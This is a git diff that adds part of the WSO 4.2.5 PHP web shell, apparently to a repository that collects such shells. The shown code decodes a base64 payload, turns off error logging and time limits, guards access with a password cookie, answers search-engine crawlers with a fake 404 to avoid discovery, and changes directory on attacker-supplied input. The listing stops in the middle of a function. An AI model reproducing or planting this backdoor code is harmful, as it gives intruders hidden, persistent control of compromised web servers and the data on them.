diff --git a/php/wso/wso-4.2.5.php b/php/wso/wso-4.2.5.php
new file mode 100644
index 0000000..00adc23
--- /dev/null
+++ b/php/wso/wso-4.2.5.php
@@ -0,0 +1,89 @@
+=strlen($str))break;}}return base64_decode($enc_str);}
+@ini_set('error_log',NULL);
+@ini_set('log_errors',0);
+@ini_set('max_execution_time',0);
+@set_time_limit(0);
+@set_magic_quotes_runtime(0);
+@define('VERSION', '4.2.5');
+if(get_magic_quotes_gpc()) {
+ function stripslashes_array($array) {
+ return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);
+ }
+ $_POST = stripslashes_array($_POST);
+ $_COOKIE = stripslashes_array($_COOKIE);
+}
+/* (С) 11.2011 oRb */
+if(!empty($▛)) {
+ if(isset($_POST['pass']) && (md5($_POST['pass']) == $▛))
+ prototype(md5($_SERVER['HTTP_HOST']), $▛);
+ if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $▛))
+ hardLogin();
+}
+if(!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax']))
+ $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$▘;
+
+function hardLogin() {
+ if(!empty($_SERVER['HTTP_USER_AGENT'])) {
+ $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
+ if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
+ header('HTTP/1.0 404 Not Found');
+ exit;
+ }
+ }
+ die("");
+}
+if(strtolower(substr(PHP_OS,0,3)) == "win")
+ $os = 'win';
+else
+ $os = 'nix';
+$safe_mode = @ini_get('safe_mode');
+if(!$safe_mode)
+ error_reporting(0);
+$disable_functions = @ini_get('disable_functions');
+$home_cwd = @getcwd();
+if(isset($_POST['c']))
+ @chdir($_POST['c']);
+$cwd = @getcwd();
+if($os == 'win') {
+ $home_cwd = str_replace("\\", "/", $home_cwd);
+ $cwd = str_replace("\\", "/", $cwd);
+}
+if($cwd[strlen($cwd)-1] != '/')
+ $cwd .= '/';
+/* (С) 04.2015 Pirat */
+function hardHeader() {
+ if(empty($_POST['charset']))
+ $_POST['charset'] = $GLOBALS['▜'];
+ echo "" . $_SERVER['HTTP_HOST'] . " - WSO " . VERSION ."
+